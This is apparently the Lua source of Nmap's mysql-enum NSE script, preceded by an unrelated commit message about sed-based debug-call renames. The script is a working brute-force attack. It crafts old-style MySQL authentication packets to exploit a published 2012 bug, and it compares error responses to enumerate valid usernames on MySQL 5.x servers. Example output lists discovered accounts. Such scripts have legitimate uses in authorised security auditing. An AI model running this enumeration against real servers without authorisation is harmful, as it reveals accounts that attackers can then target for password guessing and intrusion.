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810f7d4803
This is a catchall pattern with a few exclusions. $ sed -i 's/stdnse.print_debug( *\([0-9]*\) *, *\(.*\))/stdnse.debug\1(\2)/' *.nse $ sed -i 's/stdnse.print_debug(\(.*\))/stdnse.debug1(\1)/' *.nse Excluded: $ svn revert db2-das-info.nse $ svn revert flume-master-info.nse $ svn revert http-headers.nse $ svn revert http-methods.nse $ svn revert http-unsafe-output-escaping.nse $ svn revert http-userdir-enum.nse $ svn revert http-vuln-cve2011-3192.nse $ svn revert http-vuln-wnr1000-creds.nse $ svn revert http-wordpress-plugins.nse $ svn revert telnet-brute.nse
115 lines
3.4 KiB
Lua
115 lines
3.4 KiB
Lua
local bin = require "bin"
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local brute = require "brute"
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local creds = require "creds"
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local mysql = require "mysql"
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local nmap = require "nmap"
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local shortport = require "shortport"
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local stdnse = require "stdnse"
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local string = require "string"
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local openssl = stdnse.silent_require "openssl"
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description = [[
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Performs valid-user enumeration against MySQL server using a bug
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discovered and published by Kingcope
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(http://seclists.org/fulldisclosure/2012/Dec/9).
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Server version 5.x are susceptible to an user enumeration
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attack due to different messages during login when using
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old authentication mechanism from versions 4.x and earlier.
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]]
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---
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-- @usage
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-- nmap --script=mysql-enum <target>
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--
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-- @output
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-- PORT STATE SERVICE REASON
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-- 3306/tcp open mysql syn-ack
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-- | mysql-enum:
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-- | Accounts
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-- | admin:<empty> - Valid credentials
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-- | test:<empty> - Valid credentials
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-- | test_mysql:<empty> - Valid credentials
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-- | Statistics
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-- |_ Performed 11 guesses in 1 seconds, average tps: 11
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--
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-- @args mysql-enum.timeout socket timeout for connecting to MySQL (default 5s)
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author = "Aleksandar Nikolic"
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license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
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categories = {"intrusive", "brute"}
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portrule = shortport.port_or_service(3306, "mysql")
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local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
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arg_timeout = (arg_timeout or 5) * 1000
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Driver = {
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new = function(self, host, port)
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local o = {}
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setmetatable(o, self)
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self.__index = self
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o.host = host
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o.port = port
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return o
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end,
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connect = function( self )
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self.socket = nmap.new_socket()
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local status, err = self.socket:connect(self.host, self.port)
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self.socket:set_timeout(arg_timeout)
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if(not(status)) then
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return false, brute.Error:new( "Couldn't connect to host: " .. err )
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end
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return true
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end,
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login = function (self, user, pass) -- pass is actually the username we want to try
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local status, response = mysql.receiveGreeting(self.socket)
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if(not(status)) then
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if string.find(response,"is blocked because of many connection errors") then
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local err = brute.Error:new( response )
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err:setAbort( true )
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return false, err
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end
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return false,brute.Error:new(response)
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end
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stdnse.debug1( "Trying %s ...", pass)
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local auth_string = bin.pack("H","0000018d00000000") .. pass .. bin.pack("H","00504e5f5155454d4500"); -- old authentication method
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local err
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status, err = self.socket:send(bin.pack("c",string.len(auth_string)-3) .. auth_string) --send initial auth
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status, response = self.socket:receive_bytes(0)
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if not status then
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return false,brute.Error:new( "Incorrect username" )
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end
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if string.find(response,"Access denied for user") == nil then
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-- found it
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return true, brute.Account:new( pass, nil, creds.State.VALID)
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else
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return false,brute.Error:new( "Incorrect username" )
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end
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end,
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disconnect = function( self )
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self.socket:close()
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return true
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end
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}
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action = function( host, port )
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local status, result
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local engine = brute.Engine:new(Driver, host, port)
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engine.options:setOption("passonly", true )
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engine:setPasswordIterator(brute.usernames_iterator())
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engine.options.script_name = SCRIPT_NAME
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engine.options:setTitle("Valid usernames")
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status, result = engine:start()
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return result
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end
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